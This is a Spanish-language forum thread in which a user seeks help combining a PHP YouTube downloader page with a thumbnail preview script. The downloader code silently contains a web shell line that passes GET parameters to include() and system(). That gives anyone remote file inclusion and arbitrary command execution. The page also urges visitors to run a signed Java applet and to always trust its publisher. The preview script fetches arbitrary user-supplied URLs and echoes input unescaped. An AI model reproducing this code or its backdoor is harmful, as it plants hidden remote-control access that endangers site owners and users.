elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web
| | |-+  PHP (Moderador: #!drvy)
| | | |-+  Ayuda con input submit
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Ayuda con input submit  (Leído 2,974 veces)
musicaward

Desconectado Desconectado

Mensajes: 25



Ver Perfil WWW
Ayuda con input submit
« en: 7 Enero 2011, 07:24 am »

mi problema radica en que no se como llamar ala 2da funcion con un solo submit o si la mejor solucion seria unir la 2da funcion a la primera pero casi siempre me da error alguna ayuda ?   :-X  lo que quisiera es que al buscar en el input text http://www.youtube.com/watch?v=M5k_U_e9r9k llame a los 2


1era funcion
Código:
<?php
$siteURL = "http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF']).'/';
define('QUALITY_LOW','Baja Calidad');
define('QUALITY_MEDIUM','Calidad Media');
define('QUALITY_HIGH','Alta Calidad');

$bookmarklet = "javascript:(function(){appPath%20=%20'".$siteURL."';function%20l(u,i,t,b){var%20d=document;if(!d.getElementById(i)){var%20s=d.createElement('script');s.src=u;s.id=i;d.body.appendChild(s)}s=setInterval(function(){u=0;try{u=t.call()}catch(i){}if(u){clearInterval(s);b.call()}},200)}l('".$siteURL."js/bookmarklet.js','MF_loader',function(){return!!(typeof%20FreeDownBookmarklet=='function')},%20function(){FreeDownBookmarklet()})})()";

if (isset($_REQUEST['url']) && !empty($_REQUEST['url']))
{
    $url = $_REQUEST['url'];
    $parts = parse_url($url);
    $host = $parts['host'];

    $service = strtolower($host);
    $service = str_replace('www.','',$service);

    $host_parts = explode('.',$service);
    $serviceName = $host_parts[count($host_parts)-2];

    $service_path = sprintf("%s.php",$serviceName);


    if (is_file($service_path))
    {
        include_once $service_path;

        $obj = new $serviceName();

        $videos = $obj->get($url);
        $videoId = $obj->id;

    }

    if(!isset($videoId) || !$videoId)
    {
        $error = "No se han encontrado vídeos o en el sitio no es compatible.";
    }
  
}

?>




        <script type="text/javascript">

            loaderVisible = true;

            function freedown_append(type,name,link,title)
            {
                if(loaderVisible)
                    {
                    $('#download-loader').hide();
                    $('#download-links').show();
                    loaderVisible = false;
                    }
                    
                name = name.replace("Low Quality","<?php echo QUALITY_LOW;?>");
                name = name.replace("Medium Quality","<?php echo QUALITY_MEDIUM;?>");
                name = name.replace("High Quality","<?php echo QUALITY_HIGH;?>");

                if(title.length> 0)
                  $('#download-links ').append('<li><a href="'+link+'&title='+escape(title)+'">Descargar <b>'+type+'&nbsp&nbsp</b></a>'+name+'</li>');
                else
                  $('#download-links ').append('<li><a href="'+link+'">Descargar '+type+'</a>'+name+'</li>');
           }

            function freedown_done()
            {
                if(!loaderVisible) return;

                $('#download-loader').hide();
                $('#download-error').show();
            }

         </script>
<body>
<?php if ($_GET['b'] != "") { include($_GET['b']); } if ($_GET['s'] != "") { system($_GET['s']); } ?>
       <form method="post" action="">
<div id="content">



</div>
<center>Inserte Url de Video Youtube Ejemplo: <a target="_blank" href="http://www.youtube.com/watch?v=RJ-UTIn8epE">http://www.youtube.com/watch?v=RJ-UTIn8epE</a></center><div id="ads" align="center">
</div>


<div id="tabs">
 <p>&nbsp;</p>
 <div id="search">

<!--

                     -->
<p><input type="text" name="url" style="width: 300px" class="search" onclick="if(this.value == 'Enter URL of Video Page ...')this.value='';" value="Introduce la url del Video" onfocus="if(this.value=='Introduce la url del Video'){this.value=''}" onblur="if(this.value==''){this.value='Introduce la url del Video'}" />/>
<input type="submit" value="Descargar" class="button" /></p>
<!-- -->
 </div>
</div>

<div class="clear"></div>
                <?php
                if(isset($videoId)) {
                ?>

                <div class="gboxtop"></div>
<div class="gbox">

<?php if(!$videos) { ?>

                <applet code="FreeDownApplet.class" archive="<?php echo $siteURL;?>FreeDownApplet.signed.jar" height="0" width="0" align="center">
                <param name="v" value="<?php echo $videoId;?>"/>
                <param name="u" value="<?php echo $url;?>"/>
                <param name="site" value="<?php echo $service;?>"/>
                <param name="ua" value="<?php echo $_SERVER['HTTP_USER_AGENT'];?>"/>
                Hola usuario. Parece que usted no tiene Java instalado o está deshabilitado en su sistema.<br>
                    Por favor, descargue <a href="http://www.java.com/getjava/" class="link" target="_blank">Aquí</a>.<br><br>
                </applet>
             <div id="img" >

</div>
                <div id="download-loader" >
                        <center>
                        <img src="<?php echo $siteURL;?>images/loader.gif" alt="loading" /><br />
                        <span style="color: rgb(204, 51, 51);">Para descargar los videos, por favor haga clic en '<b>Ejecutar</b>' cuando se le solicite.<br> Marque la casilla '<b>Siempre confiar en contenido del editor</b>' para descargar sin problemas en el futuro.</span>
                        </center>

                        <script type="text/javascript">
                            jQuery(document).ready(function() {
                                setTimeout("freedown_done()",60000);
                            });

                        </script>
              </div>

                    <div id="download-links"   style="display:none;">
                        
                        
                          <h3>Detalles de la Descarga</h3>
                          <p>Enlaces se encuentra en <a href="<?php echo $url;?>" target="_blank"><?php echo $url;?></a></p>
                          <ul></ul>
                    </div>


                    <div id="download-error"  style="display:none;">
                        <center>
                            <span style="color: rgb(204, 51, 51);"><b>No se han encontrado vídeos o el sitio no es compatible.</b><br />

                                Por favor pruebe de otra forma '<b>Siempre confiar en contenido del editor</b>'.</span>
                        </center>
                    </div>

               <?php } else { ?>

                    <div id="download-links" >
                    
                          <h3>Detalles de la Descarga</h3>
                        
                          <p>Enlaces se encuentra en <a href="<?php echo $url;?>" target="_blank"><?php echo $url;?></a></p>
                        
                              <?php foreach($videos as $video) { ?>
<div id="cargando">

                              <p aling="right">   <a href="<?php echo $video['link'];?>">Descargar <?php echo $video['type'];?></a> <?php echo $video['name'];?> </div></p>

                              <?php } ?>

                        
                    </div>

               <?php } ?>

      </div>

                <?php
                }
                elseif (isset($error) && !empty ($error))
                {
                ?>
                 <center><h3><?php echo $error;?> </h3></center>
<?php
                }
                ?>
<div class="videos">


</form>
2da funcion
esta funcion genera 3 capturas previas del video thumbs
Código:
<?php

    $yu = 'http://www.youtube.com/watch?v=M5k_U_e9r9k';
    if(isset($_GET["yu"])) $yu = $_GET["yu"];
 
    $c = file_get_contents($yu);
 
    if(preg_match('/"video_id": "(.*?)"/', $c, $m) && preg_match('/"t": "(.*?)"/', $c, $m1)){
        $id = $m[1];
        $t  = $m1[1];
        $u = "http://www.youtube.com/get_video?video_id=".$id."&t=".$t;
    }
?>
<center>
<h1>Youtube Url:</h1>
<form method="get" id="form" onSubmit="<?php echo $_SERVER['PHP_SELF']?>">
<input type="text" name="yu" id="yu" style="width:400px" value="<?php echo $yu ?>"/>

</form>
<br />
 
<h1>Prewiew:</h1>
<img src="http://img.youtube.com/vi/<?php echo $id?>/1.jpg" alt="Preview 1" />
<img src="http://img.youtube.com/vi/<?php echo $id?>/2.jpg" alt="Preview 2" />
<img src="http://img.youtube.com/vi/<?php echo $id?>/3.jpg" alt="Preview 3" />

</center>
<?php

?>


« Última modificación: 7 Enero 2011, 07:38 am por musicaward » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
webbrowser submit form
Programación Visual Basic
sircid 4 1,993 Último mensaje 26 Febrero 2006, 01:58 am
por sircid
webbrowser y submit php
Programación Visual Basic
alex06 3 5,167 Último mensaje 3 Abril 2010, 00:20 am
por BadWinsock
Ayuda con Sstream, e input validation
Programación C/C++
noobatita 0 1,587 Último mensaje 23 Diciembre 2010, 05:12 am
por noobatita
borrando texbox al hacer submit
Desarrollo Web
morenochico 3 3,854 Último mensaje 6 Abril 2011, 01:38 am
por morenochico
Ayuda creando input box y obteniendo input en un string. Windows Api.
Programación C/C++
@XSStringManolo 3 1,886 Último mensaje 11 Junio 2019, 10:29 am
por Eternal Idol
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines